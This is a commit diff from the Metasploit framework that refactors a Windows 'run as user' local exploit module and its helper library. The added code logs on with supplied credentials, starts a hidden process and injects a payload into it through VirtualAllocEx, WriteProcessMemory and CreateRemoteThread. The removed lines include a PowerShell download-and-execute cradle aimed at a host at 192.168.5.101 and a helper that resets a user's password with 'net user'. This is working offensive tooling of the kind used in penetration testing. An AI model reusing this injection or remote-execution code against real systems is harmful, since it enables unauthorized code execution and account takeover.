Skip to content

Commit 215a590

Browse files
committed
Refactor and fixes for post module
1 parent 12542eb commit 215a590

File tree

3 files changed

+133
-203
lines changed

3 files changed

+133
-203
lines changed

lib/msf/core/post/windows/runas.rb

Lines changed: 6 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -79,11 +79,7 @@ def create_process_with_logon(domain, user, password, application_name, command_
7979
if logon_user['return']
8080
begin
8181
ph_token = logon_user['phToken']
82-
vprint_status("Executing GetUserProfileDirectoryW...")
83-
get_profile_dir = session.railgun.userenv.GetUserProfileDirectoryW(ph_token, MAX_PATH*2, MAX_PATH*2)
84-
str_length = get_profile_dir['lpcchSize']
85-
profile_path = get_profile_dir['lpProfileDir'][0, str_length]
86-
vprint_status("Executing CreateProcessWithLogonW #{application_name} #{command_line}...")
82+
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
8783
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
8884
domain,
8985
password,
@@ -92,16 +88,11 @@ def create_process_with_logon(domain, user, password, application_name, command_
9288
command_line,
9389
'CREATE_UNICODE_ENVIRONMENT',
9490
nil,
95-
nil, # profile_path,
91+
nil,
9692
startup_info,
9793
16)
9894
if create_process['return']
99-
begin
100-
pi = parse_process_information(create_process['lpProcessInformation'])
101-
ensure
102-
session.railgun.kernel32.CloseHandle(pi[:process_handle])
103-
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
104-
end
95+
pi = parse_process_information(create_process['lpProcessInformation'])
10596
print_good("Process started successfully, PID: #{pi[:process_id]}")
10697
else
10798
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
@@ -121,7 +112,9 @@ def create_process_with_logon(domain, user, password, application_name, command_
121112

122113
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
123114
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
124-
# This will normally error with 0xc000142 on later OS's (Vista+?)...
115+
#
116+
# This will normally error with 0xc000142 on later OS's (Vista+?) for
117+
# gui apps but is ok for firing off cmd.exe...
125118
def create_process_as_user(domain, user, password, application_name, command_line)
126119
return unless check_user_format(user, domain)
127120
return unless check_command_length(application_name, command_line, 32000)

modules/exploits/windows/local/run_as.rb

Lines changed: 86 additions & 100 deletions
Original file line numberDiff line numberDiff line change
@@ -7,132 +7,118 @@
77
require 'rex'
88

99
class Metasploit3 < Msf::Exploit::Local
10-
include Msf::Post::File
11-
include Msf::Post::Windows::Priv
12-
include Msf::Exploit::Powershell
10+
1311
include Msf::Post::Windows::Runas
1412

1513
def initialize(info={})
1614
super(update_info(info,
17-
'Name' => "Windows Manage Run Command As User",
15+
'Name' => "Windows Run Command As User",
1816
'Description' => %q{
1917
This module will login with the specified username/password and execute the
20-
supplied command as a hidden process. Output is not returned by default, by setting
21-
CMDOUT to false output will be redirected to a temp file and read back in to
22-
display.By setting advanced option SETPASS to true, it will reset the users
23-
password and then execute the command.
18+
supplied command as a hidden process. Output is not returned by default.
19+
Unless targetting a local user either set the DOMAIN, or specify a UPN user
20+
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
21+
22+
A custom command line can be sent instead of uploading an executable.
23+
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
24+
respectively. See the MSDN documentation for how these two values interact.
2425
},
2526
'License' => MSF_LICENSE,
2627
'Platform' => ['win'],
2728
'SessionTypes' => ['meterpreter'],
28-
'Author' => ['Kx499'],
29-
'Targets' => [ [ 'Universal', {} ] ],
30-
'DefaultTarget' => 0
29+
'Author' => ['Kx499', 'Ben Campbell'],
30+
'Targets' => [
31+
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
32+
],
33+
'DefaultTarget' => 0,
34+
'References' =>
35+
[
36+
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
37+
]
3138
))
3239

3340
register_options(
3441
[
35-
OptString.new('DOMAIN', [true, 'Domain to login with' ]),
42+
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
3643
OptString.new('USER', [true, 'Username to login with' ]),
3744
OptString.new('PASSWORD', [true, 'Password to login with' ]),
38-
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)']),
39-
OptString.new('COMMAND_LINE', [true, 'Command line to execute (lpCommandLine)']),
40-
], self.class)
41-
42-
register_advanced_options(
43-
[
44-
OptBool.new('CMDOUT', [true, 'Retrieve command output', false]),
45-
OptBool.new('SETPASS', [true, 'Reset password', false])
45+
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
46+
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
47+
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
4648
], self.class)
4749
end
4850

49-
# Check if sufficient privileges are present for certain actions and run getprivs for system
50-
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
51-
# need to migrate to a process that is running as
52-
# system. If you don't have privs, this exits script.
53-
def priv_check
54-
if is_system?
55-
privs = session.sys.config.getprivs
56-
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
57-
@isadmin = false
58-
return true
59-
else
60-
return false
61-
end
62-
elsif is_admin?
63-
@isadmin = true
64-
return true
65-
else
66-
return false
67-
end
68-
end
69-
70-
def reset_pass(user, password)
71-
cmd = "cmd.exe /c net user #{user} #{password}"
72-
r = cmd_exec(cmd)
73-
return r.include?("successfully")
74-
end
75-
7651
def exploit
77-
fail_with(Exploit::Failure::BadConfig, "Must be a meterpreter session") if session.sys.config.sysinfo.type != "meterpreter"
78-
79-
# check/set vars
80-
cmdout = datastore["CMDOUT"]
81-
user = datastore["USER"]
82-
password = datastore["PASS"]
83-
application_name = datastore['APPLICATION_NAME']
84-
command_line = datastore["COMMAND_LINE"]
85-
domain = datastore['DOMAIN']
86-
87-
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
52+
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
8853

89-
cmdstr = 'powershell.exe -C IEX ((new-object net.webclient).downloadstring(\'http://192.168.5.101:8080/x86\'))'
54+
domain = datastore['DOMAIN']
55+
user = datastore['USER']
56+
password = datastore['PASSWORD']
9057

91-
if is_system?
92-
puts create_process_as_user(domain,
93-
user,
94-
password,
95-
application_name,
96-
command_line)
58+
if datastore['USE_CUSTOM_COMMAND']
59+
application_name = datastore['APPLICATION_NAME']
60+
command_line = datastore['COMMAND_LINE']
9761
else
98-
puts create_process_with_logon(domain,
99-
user,
100-
password,
101-
application_name,
102-
command_line)
103-
104-
#print_error("Insufficient Privileges, either you are not Admin or system or you elevated")
105-
#print_error("privs to system and do not have sufficient privileges. If you elevated to")
106-
#print_error("system, migrate to a process that was started as system (srvhost.exe)")
107-
#return 0
62+
command_line = nil
63+
windir = get_env('windir')
64+
65+
# Select path of executable to run depending the architecture
66+
case client.platform
67+
when /x86/
68+
application_name = "#{windir}\\System32\\notepad.exe"
69+
when /x64/
70+
application_name = "#{windir}\\SysWOW64\\notepad.exe"
71+
end
10872
end
10973

110-
return
111-
112-
# Only process file if the process creation was successful, delete when done, give us info
113-
# about process
114-
if cs["return"]
115-
tmpout = ""
116-
if cmdout
117-
outfile = session.fs.file.new(outpath, "rb")
118-
until outfile.eof?
119-
tmpout << outfile.read
120-
end
121-
outfile.close
122-
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
123-
c.close
74+
pi = create_process_with_logon(domain,
75+
user,
76+
password,
77+
application_name,
78+
command_line)
79+
80+
return unless pi
81+
82+
begin
83+
return if datastore['USE_CUSTOM_COMMAND']
84+
85+
vprint_status('Injecting payload into target process')
86+
raw = payload.encoded
87+
process_handle = pi[:process_handle]
88+
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
89+
nil,
90+
raw.length,
91+
'MEM_COMMIT|MEM_RESERVE',
92+
'PAGE_EXECUTE_READWRITE')
93+
94+
95+
address = virtual_alloc['return']
96+
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
97+
98+
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
99+
address,
100+
raw,
101+
raw.length,
102+
4)
103+
104+
fail_with(Exploit::Failure::Unknown,
105+
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
106+
107+
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
108+
nil,
109+
0,
110+
address,
111+
nil,
112+
0,
113+
4)
114+
if create_remote_thread['return'] == 0
115+
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
116+
else
117+
print_good("Started thread in target process")
124118
end
125-
126-
pi = cs["lpProcessInformation"].unpack("LLLL")
127-
print_status("Command Run: #{cmdstr}")
128-
print_status("Process Handle: #{pi[0]}")
129-
print_status("Thread Handle: #{pi[1]}")
130-
print_status("Process Id: #{pi[2]}")
131-
print_status("Thread Id: #{pi[3]}")
132-
print_line(tmpout)
133-
else
134-
print_error("#{cs["ErrorMessage"]}")
135-
return 0
119+
ensure
120+
session.railgun.kernel32.CloseHandle(pi[:process_handle])
121+
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
136122
end
137123
end
138124
end

0 commit comments

Comments
 (0)